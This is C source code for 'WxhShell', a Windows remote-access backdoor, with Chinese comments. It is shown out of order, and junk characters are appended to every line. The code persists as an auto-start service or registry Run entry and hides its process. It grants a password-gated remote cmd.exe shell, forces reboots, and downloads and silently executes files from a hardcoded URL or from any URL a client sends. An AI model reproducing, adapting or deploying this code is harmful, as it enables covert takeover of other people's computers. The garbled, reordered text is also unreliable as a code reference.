    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #60<$HO:Z  
    else { 4>@-1nt}  
    closesocket(wsh); KL*UU,qU  
    ExitThread(0); k?=V?JWY  
    } &nZ.$UK<  
    break; j8p'B-yS  
    } ?r~](l   
  // 获取shell ]9pcDZB  
  case 's': { 0 .p $q  
    CmdShell(wsh); ;d  >  
    closesocket(wsh); kC[nY  
    ExitThread(0); |zL.PS  
    break; 6_a.`ehtj<  
  } 5(OF~mX#  
  // 退出 ~ .Eln+N  
  case 'x': { ~9ILN~91  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v6?<)M%  
    CloseIt(wsh); ,K[B/tD{j  
    break; }~5xlg$B<<  
    } K#{E87G(  
  // 离开 %x7l`.) N  
  case 'q': { 8JAT2a61ur  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yui:=GgUrr  
    closesocket(wsh); N,_ej@L8  
    WSACleanup(); yc5n   
    exit(1); -.WVuc`  
    break; `+/[0B=.  
        } X]*W +  
  } B[MZ Pv)  
  } Bj7\{x,?  
-nT+!3A8  
  // 提示信息 3/@'tLtN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )u&_}6z  
} I@q>ES!1H  
  }  g^E n6n)  
aa1XY&G"!  
  return; ;7<a0HZ5!  
} j|(bDa4\  
ArU>./)Q  
// shell模块句柄 \9k{"4jX\  
int CmdShell(SOCKET sock) Xl*-A|:j  
{ ig/716r|  
STARTUPINFO si; LGCL*Qbsg  
ZeroMemory(&si,sizeof(si)); Sb[rSczS~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @;,O V&XYn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jIc;jjAF  
PROCESS_INFORMATION ProcessInfo; @]#+`pZ4A  
char cmdline[]="cmd"; ~K],hi^<P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9e :E% 2  
  return 0; (*fsv g~  
} l7J_s?!j  
p N]Hp"v  
// 自身启动模式 )x|BY>  
int StartFromService(void) qc'tK6=jp  
{ v981nJ>w,  
typedef struct 7RD` *s  
{  2 5ZGuM  
  DWORD ExitStatus; Da-(D<[0  
  DWORD PebBaseAddress; Ef`LBAfOO  
  DWORD AffinityMask; (\/HGxv  
  DWORD BasePriority; #-HN[U?Gs  
  ULONG UniqueProcessId; =\%>O7c,8Y  
  ULONG InheritedFromUniqueProcessId; lE|T'?/  
}   PROCESS_BASIC_INFORMATION; c8"I]Qc7  
4+ k:j=x  
PROCNTQSIP NtQueryInformationProcess; '7*=m^pc  
UXk8nH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }5tn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AYZds >#Q  
-6tF   
  HANDLE             hProcess; x(7K3(#|  
  PROCESS_BASIC_INFORMATION pbi; C aJD*  
b);}x1L.T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QT&{M #Ydn  
  if(NULL == hInst ) return 0; #=.h:_9  
-X}R(.}x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,m b3H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VDmd+bvJV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c\b>4 &n  
!Z'm@,+  
  if (!NtQueryInformationProcess) return 0; +li^0+3-'  
( L6`_)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #*]= %-A  
  if(!hProcess) return 0; !yI)3;$*  
TQ2Tt "  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8c|IGC  
\%Smp2K  
  CloseHandle(hProcess); G\NCEE'A  
+Ae.>%}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >SGSn/AJi  
if(hProcess==NULL) return 0; er#=xqUY  
hW+Dko(s  
HMODULE hMod; 1a!h&!$9  
char procName[255]; T+ t-0k  
unsigned long cbNeeded; L wu;y@[  
 Fszk?0T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j{Fo 6##  
5Q}@Y3 i=  
  CloseHandle(hProcess); 2$ rq  
d?P aZz{4  
if(strstr(procName,"services")) return 1; // 以服务启动 0Yjy  
&4[iC/}  
  return 0; // 注册表启动 1<p"z,c  
} E>1USKxn  
UK<"|2^sT  
// 主模块 "}EbA3  
int StartWxhshell(LPSTR lpCmdLine) f\^QV  
{ E{ ,O}  
  SOCKET wsl; 7@"X~C  
BOOL val=TRUE; XHg %X  
  int port=0; Q}T9NzOH%  
  struct sockaddr_in door; rN~`4mZ  
By_Ui6:D  
  if(wscfg.ws_autoins) Install();  e.GzGX  
D?'y)](  
port=atoi(lpCmdLine); R`&ioRWj  
J?<L8;$s7  
if(port<=0) port=wscfg.ws_port; ]O\W<'+V  
4dK@UN\  
  WSADATA data; ({9!P30:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?f`-&c;  
F1=+<]!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v8IL[g6"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z9D4;1  
  door.sin_family = AF_INET; vSA%A47G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8#Z5-",iw  
  door.sin_port = htons(port); / fq6-;co+  
PS22$_}   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ("oA{:@d  
closesocket(wsl); M5V1j(URE  
return 1; g3XAs@  
} !%X`c94  
D+3Y.r 9  
  if(listen(wsl,2) == INVALID_SOCKET) { aVYUk7_<  
closesocket(wsl); "p{ '984r<  
return 1; ;Z_C3/b  
} eQx"nl3U%  
  Wxhshell(wsl); \PONaRK|[z  
  WSACleanup(); $(R) =4  
v^pP& <G  
return 0; kI'A` /B l  
`[\phv  
} J4g;~#_19  
"/fs%F  
// 以NT服务方式启动 `[&2K@u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N96BWgT  
{ z{d5Lrk  
DWORD   status = 0; >nDnb4 'C  
  DWORD   specificError = 0xfffffff; ,]mwk~HeF  
GvOAs-$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Snu;5:R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wjJ1Psnx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '5U$`Xe1  
  serviceStatus.dwWin32ExitCode     = 0; y^\#bpq&\  
  serviceStatus.dwServiceSpecificExitCode = 0; @RIEO%S  
  serviceStatus.dwCheckPoint       = 0; c1J)yv1y  
  serviceStatus.dwWaitHint       = 0; h$k3MhYDes  
E3skC%}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |mmG s  
  if (hServiceStatusHandle==0) return; He!!oKK>  
v`BG1&/|  
status = GetLastError(); lKUm_; m  
  if (status!=NO_ERROR) %},G(>  
{ \2xBOe-a]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <\g&%c,   
    serviceStatus.dwCheckPoint       = 0; ~,68S^nP)H  
    serviceStatus.dwWaitHint       = 0; @t8kN6.  
    serviceStatus.dwWin32ExitCode     = status; O97bgj]  
    serviceStatus.dwServiceSpecificExitCode = specificError; -<!17jy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1>VS/H`  
    return; p8dn-4  
  } c$kb0VR  
ON0+:`3\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q; /F0JDH  
  serviceStatus.dwCheckPoint       = 0; Ch9!AUiR  
  serviceStatus.dwWaitHint       = 0; Sp,Q,Q4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %i>e  
} |S:!+[  
xPup?oP >  
// 处理NT服务事件,比如:启动、停止 -0 da"AB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oB R(7U ~0  
{  MK"  
switch(fdwControl) \_AEuz3 F  
{ &AcFa<U  
case SERVICE_CONTROL_STOP: s@LNQ|'kO  
  serviceStatus.dwWin32ExitCode = 0; }@%ahRGx%9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BQ&q<6Tk  
  serviceStatus.dwCheckPoint   = 0; F ^t?*   
  serviceStatus.dwWaitHint     = 0; ,l .U^d6>  
  { bxSKe6l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $3.vVnc  
  } (mIJI,[xn  
  return; lp-Zx[#`}C  
case SERVICE_CONTROL_PAUSE: m%c0#=D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F}(QKO*  
  break; kdh9ftm*\  
case SERVICE_CONTROL_CONTINUE: @1?]$?u&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [Cqqjv;_  
  break; OsL%SKs|  
case SERVICE_CONTROL_INTERROGATE: LDEW00zL  
  break; `uZv9I"  
}; BDkBYhz;7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }K80G~O2<  
} ^Lmc%y  
C'czXZtn  
// 标准应用程序主函数 p_qm}zp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :LiDJF  
{ Z3So|M{v  
Jrd4a~XP  
// 获取操作系统版本 Vt=(2d5:p  
OsIsNt=GetOsVer(); (F[/~~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V9j1j}  r  
A1QI4.K  
  // 从命令行安装 ~]W[ {3 ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); O| J`~Lk  
u] U)d$|  
  // 下载执行文件 RC{Z)M{~  
if(wscfg.ws_downexe) { aXbNDj ][  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B UQn+;be  
  WinExec(wscfg.ws_filenam,SW_HIDE); W0MnGzZ  
} 04guud }  
iSr`fQw#  
if(!OsIsNt) { Ivt} o_b*  
// 如果时win9x,隐藏进程并且设置为注册表启动 L> Oy7w)Y  
HideProc(); gJ5wAK+?  
StartWxhshell(lpCmdLine); bV$8 >[`  
} 3$N %iE6  
else ^jha:d  
  if(StartFromService()) 9c^skNbS  
  // 以服务方式启动 ,3]?%t0xe  
  StartServiceCtrlDispatcher(DispatchTable); noh|/sPMD  
else :#w+?LA*  
  // 普通方式启动 M_!u@\  
  StartWxhshell(lpCmdLine); xw+<p  
Km9}^*Mo%  
return 0; |3, yq^2  
} 5+bFy.UW  
60,-\h  
A?Nn>xF9X  
WiNr866nB  
=========================================== 5B>Q 6  
&#-|Yh/  
+t>*l>[  
UOu6LD/|h  
Y$x"4=~  
R] Disljq  
" KIKq9*  
nEd M_JPv  
#include <stdio.h> umm\r&]A  
#include <string.h> *"ykTqa  
#include <windows.h> L8:]`M Q0  
#include <winsock2.h> +2EHmuJ;  
#include <winsvc.h> y)p$_.YFF  
#include <urlmon.h> EItxRHV5  
2~M;L&9-  
#pragma comment (lib, "Ws2_32.lib") eA1k)gjE  
#pragma comment (lib, "urlmon.lib") E5*-;>2c  
oE!hF}O  
#define MAX_USER   100 // 最大客户端连接数 }0BL0N`_  
#define BUF_SOCK   200 // sock buffer NqT1buU#  
#define KEY_BUFF   255 // 输入 buffer ApG'jN  
..jq[(;N  
#define REBOOT     0   // 重启 8B*E+f0  
#define SHUTDOWN   1   // 关机 x/%7%_+'  
#.)xm(Ys  
#define DEF_PORT   5000 // 监听端口 ]{|fYt_-  
"u<jbD  
#define REG_LEN     16   // 注册表键长度 +MNSZLP]  
#define SVC_LEN     80   // NT服务名长度 P?q G  
V;iL[  
// 从dll定义API H}h~~7E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 OAqA?Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M)"]$TM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZI58XS+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DYo<5^0  
wi\z>'R  
// wxhshell配置信息 ^91sl5c8yD  
struct WSCFG { 5ys #L&q'Z  
  int ws_port;         // 监听端口 oUQGLl!V  
  char ws_passstr[REG_LEN]; // 口令 iN<(O7B;  
  int ws_autoins;       // 安装标记, 1=yes 0=no G-\<5]k]  
  char ws_regname[REG_LEN]; // 注册表键名 [i(Cl}  
  char ws_svcname[REG_LEN]; // 服务名 DC|xilP1O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s?^,iQ+tp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S}.\v<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =$b-xsmeG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 09  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H\)gE>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _kn]#^ucCe  
/rIm7FW)  
}; yy1>r }L  
=<[7J]%  
// default Wxhshell configuration t/JOERw  
struct WSCFG wscfg={DEF_PORT, ATMc`z:5T  
    "xuhuanlingzhe", jOBY&W0r  
    1, hz< |W5  
    "Wxhshell", 9U2Px$E  
    "Wxhshell", ElQJ\%  
            "WxhShell Service", uQ:Qb|  
    "Wrsky Windows CmdShell Service", AA))KBXq  
    "Please Input Your Password: ", >vQ6V'F  
  1, _&W0e}4  
  "http://www.wrsky.com/wxhshell.exe", <TI3@9\qXE  
  "Wxhshell.exe" G%2P  
    }; _qY`KP "  
z@!^ow)`J  
// 消息定义模块 *-9#/Cp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T$ H2'tK|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rGTWcJ   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3AvVU]@&Z@  
char *msg_ws_ext="\n\rExit."; `]K,'i{R  
char *msg_ws_end="\n\rQuit."; ;c>>$lr  
char *msg_ws_boot="\n\rReboot..."; 6RH/V:YY  
char *msg_ws_poff="\n\rShutdown..."; 4JGE2ArR  
char *msg_ws_down="\n\rSave to "; xJvLuzUD  
HR[Q ?rg  
char *msg_ws_err="\n\rErr!"; 'Z\{D*=V8  
char *msg_ws_ok="\n\rOK!"; X!T|07#c  
TkA9tFi  
char ExeFile[MAX_PATH]; \4OK!6LkI  
int nUser = 0; B^Xy0fq  
HANDLE handles[MAX_USER]; G3H#XK D  
int OsIsNt; HjV\lcK:v  
*I=_*LoG2  
SERVICE_STATUS       serviceStatus; -"F0eV+y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]|,vCKju  
_kh>Z  
// 函数声明 BiA >QQ  
int Install(void); Ru)(dvk}S  
int Uninstall(void); e@[9C(5E"  
int DownloadFile(char *sURL, SOCKET wsh); "VV914*z  
int Boot(int flag); (.PmDBW  
void HideProc(void); N%O[  
int GetOsVer(void); a|UqeNI{  
int Wxhshell(SOCKET wsl); :OHSxb>[  
void TalkWithClient(void *cs);  q4_**  
int CmdShell(SOCKET sock); BpH|/7  
int StartFromService(void); e:qo_eSC^-  
int StartWxhshell(LPSTR lpCmdLine); 0HjJaML  
{b(rm,%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?LM:RADCm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h>dxBN  
ll_}& a0G  
// 数据结构和表定义 fb /qoZ  
SERVICE_TABLE_ENTRY DispatchTable[] = LxB&7  
{ E\w+kAAf  
{wscfg.ws_svcname, NTServiceMain}, fzl=d_  
{NULL, NULL} ^Ss<X}es-  
}; !@( M_Z'  
2.]~*7   
// 自我安装 P!5Z]+B#  
int Install(void) AQ-mE9>P  
{ P2>:p%Z  
  char svExeFile[MAX_PATH]; zgK;4 22$m  
  HKEY key; Pfm*<,'x"[  
  strcpy(svExeFile,ExeFile); )eECOfmnZ  
>Z}@7$(7!~  
// 如果是win9x系统,修改注册表设为自启动 B-$+UE>%  
if(!OsIsNt) { VW{,:Ya  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }bp.OV-+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3a%xn4P  
  RegCloseKey(key); ` %uK0qw"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S:#e8H_7m]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Im6U_JsNZh  
  RegCloseKey(key); `\wUkmH  
  return 0; E evw*;$x  
    } 1XCmM Z  
  } E$w#+.QP  
} z=B< `}@3  
else { 3i6h"Wu`n  
rxs8De  
// 如果是NT以上系统,安装为系统服务 B9}E {)T?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0E yAMu  
if (schSCManager!=0) 691G15  
{ ]s _@n!  
  SC_HANDLE schService = CreateService X\kjAMuW/*  
  ( NK~PcdGl  
  schSCManager, wajZqC2yg  
  wscfg.ws_svcname, 4x(F&0  
  wscfg.ws_svcdisp, bhn5Lz$z  
  SERVICE_ALL_ACCESS, +SyUWoM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b]w[*<f?  
  SERVICE_AUTO_START, 0:. 6rp  
  SERVICE_ERROR_NORMAL, ":V%(c  
  svExeFile, B.}cB'|  
  NULL, dKb ^x^  
  NULL, Gh'X.?3   
  NULL, |<1M&\oaQ'  
  NULL, XwtAF3oz  
  NULL RYH)AS4w'  
  ); \p3v#0R{  
  if (schService!=0) h<)yJh  
  { 6i| ~7md,  
  CloseServiceHandle(schService); ! j{CuA/  
  CloseServiceHandle(schSCManager); iyc$)"w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SAy{YOLtl  
  strcat(svExeFile,wscfg.ws_svcname); s0 47"Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LaclC]yLU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \KCWYi]  
  RegCloseKey(key); lr0M<5d=p  
  return 0; zXjw nep  
    } '^DUq?E4  
  } >4~#%&  
  CloseServiceHandle(schSCManager); BR3wX4i\  
} -n-Z/5~ X  
} " <Qm -  
PGkCOmq   
return 1; C;ptir1G;  
} 1) 'Iu`k/  
[EER4@_  
// 自我卸载 7/ t:YBR  
int Uninstall(void) xdqK.Z%  
{ 7C?E z%a@  
  HKEY key; U:\p$hL9  
BtzYA"  
if(!OsIsNt) { F*,5\s<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jccOsG9;_  
  RegDeleteValue(key,wscfg.ws_regname); %7 /,m  
  RegCloseKey(key); ]=|P<F   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W/=7jM   
  RegDeleteValue(key,wscfg.ws_regname); 0X#+#[W  
  RegCloseKey(key); }qL~KA{&  
  return 0; me:iQ.g  
  } :Pf>Z? /d  
} WI{; #A  
} h"r!q[MN o  
else { @<a|  
M|H 2kvl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 83Uw  
if (schSCManager!=0) Y0}4WWV  
{ i(Vm!Y82  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8 ip^]  
  if (schService!=0) `H"vR: ~{  
  { Fo(y7$33*  
  if(DeleteService(schService)!=0) { uRpBeH]Z"  
  CloseServiceHandle(schService); S2Vxe@b)  
  CloseServiceHandle(schSCManager); F )7j@h^  
  return 0; Cx,-_  
  } <S&]$?`{Wi  
  CloseServiceHandle(schService); 5e8xKL  
  } p(?g-  
  CloseServiceHandle(schSCManager); )'t&q/Wn  
} 5D L,U(Y  
} 8gAu7\p}  
{:$NfW  
return 1; XfDX:b1p  
} t H,sql)  
B$j' /e-Zk  
// 从指定url下载文件 GL`tOD:P"  
int DownloadFile(char *sURL, SOCKET wsh) 0#^Bf[Dn  
{  ,Y-S(  
  HRESULT hr; 2LC w*eT{)  
char seps[]= "/"; #QS?s8IrW  
char *token; C99&L3bz^(  
char *file; -x5F;d}  
char myURL[MAX_PATH]; |Qr:!MA  
char myFILE[MAX_PATH]; FB_NkXR  
dXK-&Po'  
strcpy(myURL,sURL); ^7^2D2[  
  token=strtok(myURL,seps); d>/Tu_ y  
  while(token!=NULL) TL'0T,Jo  
  { fM2^MUp[=1  
    file=token; wV>c" J  
  token=strtok(NULL,seps); YXRjx .srf  
  } WL:0R>0  
7"a4/e;^  
GetCurrentDirectory(MAX_PATH,myFILE); #Wk5E2t  
strcat(myFILE, "\\"); zofx+g\(W  
strcat(myFILE, file); UKj`_a6  
  send(wsh,myFILE,strlen(myFILE),0); =Epq%,4nG  
send(wsh,"...",3,0); y;QQ| =,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B:nK)"{  
  if(hr==S_OK) M $uf:+F  
return 0; sG1BNb_  
else ST% T =_q  
return 1; mV;3ILO  
abSq2*5K  
} [T]Bfo  
| k}e&Q_/G  
// 系统电源模块 ="2/\*.SL  
int Boot(int flag) G B&:G V  
{ Ld~q1*7J  
  HANDLE hToken; ?BsH{Q RYQ  
  TOKEN_PRIVILEGES tkp; .1{l[[= W  
ZB0+GG\  
  if(OsIsNt) { S<pk c8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2vvh|?M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C`EY5"N r  
    tkp.PrivilegeCount = 1; P5P< "  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t R ;{.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q5?{ 1  
if(flag==REBOOT) { O5OXw]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }hq^+fC?  
  return 0; IM]h*YV'  
} O8y9dX-2  
else {  p[Hr39o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fv@tD4I>  
  return 0; 6klD22b2$  
} HzEGq,.  
  } y]^#$dK(z  
  else { F|*tNJU>  
if(flag==REBOOT) { p&O8qAaO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AIv<f9*.:  
  return 0; QoseS/  
} rKT)!o'  
else { ?Q?598MC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Qsk}Gv  
  return 0; X  Ny Y$  
} r&Q t_  
} b!,ja?  
K"^cq~   
return 1; ;j!UY.i  
} x{?sn  
*v&*% B  
// win9x进程隐藏模块 uQ^hV%|"  
void HideProc(void) tvT4S  
{ B%mtp;) P  
^9=4iXd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); om>VQ3  
  if ( hKernel != NULL ) Ko+al{2  
  { _Fxe|"<^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 03F3q4"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C]Q>*=r  
    FreeLibrary(hKernel); +N8aq<l  
  } :P,2K5]y  
}PmTR4F!}  
return; 0O[l?e4,8{  
} N3Z@cp  
yf?W^{^|  
// 获取操作系统版本 qCQu^S' iD  
int GetOsVer(void) I{EIHD<  
{ ?b"Vj+1:x  
  OSVERSIONINFO winfo; + ~~ Z0.[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4&]%e6,jH  
  GetVersionEx(&winfo); 1J&#&\,f&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Co b(C&}  
  return 1; kfRJ\"`   
  else sjb-Me?  
  return 0; VfRs[ 3Q  
} 3A d*,>!  
P#v^"}.Wd  
// 客户端句柄模块 "f<#.}8  
int Wxhshell(SOCKET wsl) &#-[Y:?lA  
{ >Zo-wYG  
  SOCKET wsh; B>@D,)/bT5  
  struct sockaddr_in client; jr:drzr{I  
  DWORD myID; |eF.ZC)QWh  
,H@TYw  
  while(nUser<MAX_USER) PU"S;4m  
{ K.%z;( U  
  int nSize=sizeof(client); 0Gx*'B=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (rIXbekgB  
  if(wsh==INVALID_SOCKET) return 1; ,# eO&  
Lrlk*   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s.KOBNCFa  
if(handles[nUser]==0) /k) NP  
  closesocket(wsh); d=F)y~&'  
else L\YZT| K(  
  nUser++; %UBPoq  
  } O"8P#Ed  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;AltNGcM  
~ur)f AuF2  
  return 0; O/$ v69:  
} %_)b>C18 y  
?;fv!'?%  
// 关闭 socket GBW 7Y  
void CloseIt(SOCKET wsh) ,[^o9u uB  
{ Xj(>.E{~H  
closesocket(wsh); qhnapZJ  
nUser--; "raj>2@  
ExitThread(0); v=>3"!*  
} 6# R;HbkO  
ZRO.bMgZF  
// 客户端请求句柄 )Yrr%f`\  
void TalkWithClient(void *cs) ..aK sSm(  
{ tpE3|5dZF  
=uS8>.Qj  
  SOCKET wsh=(SOCKET)cs; TtZrttCE6  
  char pwd[SVC_LEN]; Rn8#0%/Q  
  char cmd[KEY_BUFF]; ^>eFm8`N  
char chr[1]; Nl=+.d6 Qo  
int i,j; jWhD5k@v  
yG4MUf6  
  while (nUser < MAX_USER) { F; 0Dp  
^&HI +M  
if(wscfg.ws_passstr) { X!m;uJZp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oR7 7`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $:P[v+Uy  
  //ZeroMemory(pwd,KEY_BUFF); =O;eY?  
      i=0; >H8^0n)?  
  while(i<SVC_LEN) { 4@gl4&<h  
>|(WS.n3C  
  // 设置超时 {8_:4`YZ  
  fd_set FdRead; ID&zY;f  
  struct timeval TimeOut; X=\x&Wt  
  FD_ZERO(&FdRead); {<"[D([  
  FD_SET(wsh,&FdRead); uz8nRS s  
  TimeOut.tv_sec=8; %bN"bxv^  
  TimeOut.tv_usec=0; UX?X]ZYVR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "1AjCHZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R+C+$?4NG  
%uF:)   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ayHn_  
  pwd=chr[0]; N:5b1TdI,  
  if(chr[0]==0xd || chr[0]==0xa) { gr[D!D >  
  pwd=0; -g~iE]x6Y  
  break; VB}PNg  
  } YK7gd|LR]  
  i++; Ed4_<:  
    } 5QNBB|X@  
/\Jc:v#Q  
  // 如果是非法用户,关闭 socket -0/=k_q_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {3jm%ex  
} Sv~PXi^`H  
4D0(Fl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hl=oiUf[s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DM+sjn  
aIY$5^x  
while(1) { [sjrb?Xd  
oVAOGHE  
  ZeroMemory(cmd,KEY_BUFF); A7mMgb_  
VNr!|bp5  
      // 自动支持客户端 telnet标准   4c~*hMr y  
  j=0; 1V#B]x:  
  while(j<KEY_BUFF) { 3~#ZE;>#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6="M0%  
  cmd[j]=chr[0]; 5B_-nYJDt  
  if(chr[0]==0xa || chr[0]==0xd) { 9(V=Ubj  
  cmd[j]=0; +*WUH513  
  break; 6f<*1YR F  
  } ':9%3Wq]j  
  j++; @w+WLeJ$40  
    }  eYPt  
/2=_B4E2  
  // 下载文件 f'8B[&@L  
  if(strstr(cmd,"http://")) { Aigcq38  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ >&@lA  
  if(DownloadFile(cmd,wsh)) V7qCbd^>XJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=(M!9cE  
  else t"jIfU>'a/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o%y+Y;|?J  
  } N4[ B:n  
  else { yL^M~lws  
>^2ZM  
